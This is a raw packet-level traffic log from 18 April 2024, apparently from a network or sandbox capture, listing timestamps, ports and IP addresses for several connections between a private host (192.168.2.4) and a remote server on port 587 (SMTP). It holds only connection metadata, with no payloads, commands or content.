Apr 18, 2024 18:28:56.277520895 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:56.505361080 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:56.506412029 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:56.638890982 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:56.646456957 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:56.825459957 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:56.827630043 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:57.011509895 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:57.011528015 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:57.012182951 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:57.155992985 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:57.156017065 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:57.156047106 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:57.157272100 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:57.159869909 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:57.368944883 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:57.368967056 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:57.369065046 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:57.369066000 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:57.478197098 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:57.479324102 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:57.731184006 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:57.731210947 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:57.731288910 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:57.731353045 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:57.797956944 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:57.798207998 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:58.087487936 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:58.087512970 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:58.087567091 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:58.087621927 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:58.115928888 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:58.116241932 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:58.448075056 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:58.448107958 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:58.448122025 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:58.448210955 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:58.448210955 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:58.448250055 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:58.449083090 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:58.450503111 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:58.566437006 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:58.767527103 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:58.768115044 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:58.810415983 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:58.810444117 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:58.810460091 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:58.811115980 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:58.811187983 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:58.922960043 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:59.097714901 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:59.098630905 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:59.168962955 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:59.169011116 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:59.169068098 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:59.249401093 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:59.417504072 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:59.417872906 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:59.417922020 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:59.418029070 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:59.418148994 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:59.419816971 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:59.516195059 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:59.604052067 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:59.604257107 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:59.734461069 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:59.734477043 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:59.734517097 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:59.734519958 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:59.734554052 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:59.734587908 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:59.736316919 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:59.736344099 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:59.736366987 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:59.736391068 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:59.736397028 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:59.736437082 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:59.736630917 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:59.736675978 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:59.739687920 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:59.739731073 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:59.739980936 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:59.740017891 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:59.963030100 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:59.963054895 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:59.963129044 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:59.963129044 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:00.037622929 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:00.039100885 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:00.051141024 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:00.051198959 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:00.052848101 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:00.052891970 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:00.052916050 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:00.052974939 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:00.052983046 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:00.053045034 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:00.053077936 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:00.053106070 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:00.053154945 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:00.056240082 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:00.056283951 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:00.056361914 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:00.056402922 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:00.056418896 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:00.056457996 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:00.056489944 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:00.077503920 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:00.323638916 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:00.323658943 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:00.323832035 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:00.368000984 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:00.368016958 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:00.368369102 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:00.369440079 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:00.369481087 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:00.369505882 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:00.369575024 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:00.369664907 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:00.369697094 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:00.369697094 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:00.369748116 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:00.369771957 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:00.369803905 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:00.369890928 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:00.369959116 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:00.372802973 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:00.372814894 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:00.372875929 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:00.372920036 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:00.386549950 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:00.393044949 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:00.393934011 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:00.394073963 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:00.686366081 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:00.686388969 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:00.686724901 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:00.691090107 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:01.077523947 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:01.424612999 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:01.424685955 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:01.520343065 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:01.566173077 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:01.651495934 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:01.651571035 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:01.792551994 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:01.792695045 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:02.154078007 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:02.154392004 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:02.501596928 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:02.502862930 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:02.860200882 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:02.860265970 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:02.860306025 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:02.861784935 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:02.861784935 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:03.228214025 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:03.229187012 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:03.594808102 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:03.595056057 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:03.960247040 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:03.960551023 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:04.346324921 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:04.346676111 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:04.695161104 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:04.710330963 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:05.074928045 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:05.134243965 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:05.482510090 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:05.510318041 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:05.510349989 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:05.510477066 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:05.510521889 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:05.857357025 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:05.857378006 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:05.857419014 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:05.857430935 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:06.853564024 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:07.201592922 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:07.201617956 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:07.201662064 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:07.201713085 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:07.548634052 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:07.548683882 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:07.548721075 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:07.548734903 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:07.548757076 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:07.548805952 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:07.900728941 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:07.900765896 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:07.900796890 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:07.900830030 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:07.900902987 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:07.901000023 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:07.901031971 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:07.901094913 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:07.901146889 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:08.077507973 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:08.432346106 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:08.432441950 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:08.781157970 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:08.781244040 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:08.781260014 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:08.874397993 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:08.975167036 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:09.128499985 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:09.128735065 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:09.221402884 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:09.332170010 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:09.332705975 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:09.335555077 CEST	49766	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:09.466267109 CEST	49767	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:09.478787899 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:09.577524900 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:09.681835890 CEST	587	49766	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:09.681930065 CEST	49766	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:09.783581972 CEST	587	49767	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:09.783669949 CEST	49767	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:09.924716949 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:09.924797058 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:10.030574083 CEST	587	49766	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:10.030719995 CEST	49766	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:10.106517076 CEST	587	49767	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:10.106657982 CEST	49767	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:10.271780014 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:10.271873951 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:10.378439903 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:10.383198977 CEST	587	49766	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:10.384572983 CEST	49766	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:10.424048901 CEST	587	49767	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:10.424216986 CEST	49767	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:10.626420975 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:10.626678944 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:10.731053114 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:10.732556105 CEST	587	49766	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:10.733059883 CEST	49766	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:10.742633104 CEST	587	49767	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:10.742944956 CEST	49767	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:10.974484921 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:10.974512100 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:10.974622011 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:10.974622011 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:11.070981026 CEST	587	49767	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:11.071008921 CEST	587	49767	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:11.071022034 CEST	587	49767	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:11.071089029 CEST	49767	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:11.072654009 CEST	49767	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:11.090845108 CEST	587	49766	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:11.090862989 CEST	587	49766	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:11.090874910 CEST	587	49766	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:11.090991020 CEST	49766	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:11.092523098 CEST	49766	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:11.321572065 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:11.321594000 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:11.321630001 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:11.321671009 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:11.390196085 CEST	587	49767	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:11.399977922 CEST	49767	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:11.673928022 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:11.717346907 CEST	587	49767	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:11.717612028 CEST	49767	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:11.765117884 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:11.765125036 CEST	49766	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:12.035518885 CEST	587	49767	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:12.035837889 CEST	49767	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:12.113183022 CEST	587	49766	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:12.115653038 CEST	49766	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:12.117703915 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:12.117832899 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:12.375286102 CEST	587	49767	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:12.378650904 CEST	49767	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:12.464230061 CEST	587	49766	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:12.464958906 CEST	49766	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:12.470475912 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:12.473014116 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:12.697846889 CEST	587	49767	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:12.698182106 CEST	49767	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:12.826592922 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:12.829364061 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:13.032367945 CEST	587	49767	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:13.033045053 CEST	49767	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:13.062469006 CEST	49766	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:13.176085949 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:13.176116943 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:13.176175117 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:13.265222073 CEST	587	49766	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:13.265297890 CEST	49766	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:13.350284100 CEST	587	49767	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:13.350706100 CEST	49767	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:13.350792885 CEST	49767	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:13.350792885 CEST	49767	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:13.350860119 CEST	49767	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:13.352289915 CEST	49767	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:13.409383059 CEST	587	49766	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:13.409651041 CEST	49766	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:13.528124094 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:13.528198004 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:13.667685032 CEST	587	49767	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:13.667759895 CEST	49767	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:13.667788982 CEST	587	49767	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:13.667803049 CEST	587	49767	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:13.667844057 CEST	49767	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:13.669156075 CEST	587	49767	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:13.669209957 CEST	49767	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:13.669318914 CEST	587	49767	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:13.669331074 CEST	587	49767	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:13.669394970 CEST	49767	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:13.781418085 CEST	587	49766	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:13.781660080 CEST	49766	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:13.876419067 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:13.876482964 CEST	587	49765	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:13.876494884 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:13.876534939 CEST	49765	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:13.985214949 CEST	587	49767	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:13.985296011 CEST	49767	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:13.985982895 CEST	587	49767	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:13.986027002 CEST	49767	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:13.986073017 CEST	587	49767	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:13.986120939 CEST	49767	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:13.986120939 CEST	587	49767	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:13.986171007 CEST	49767	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:13.986200094 CEST	587	49767	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:13.986253977 CEST	49767	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:13.986280918 CEST	587	49767	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:13.986294985 CEST	587	49767	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:13.986319065 CEST	587	49767	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:13.986339092 CEST	49767	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:13.986360073 CEST	49767	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:13.986387014 CEST	49767	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:13.986411095 CEST	587	49767	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:13.986460924 CEST	49767	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:14.129398108 CEST	587	49766	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:14.129733086 CEST	49766	587	192.168.2.4	94.100.26.91
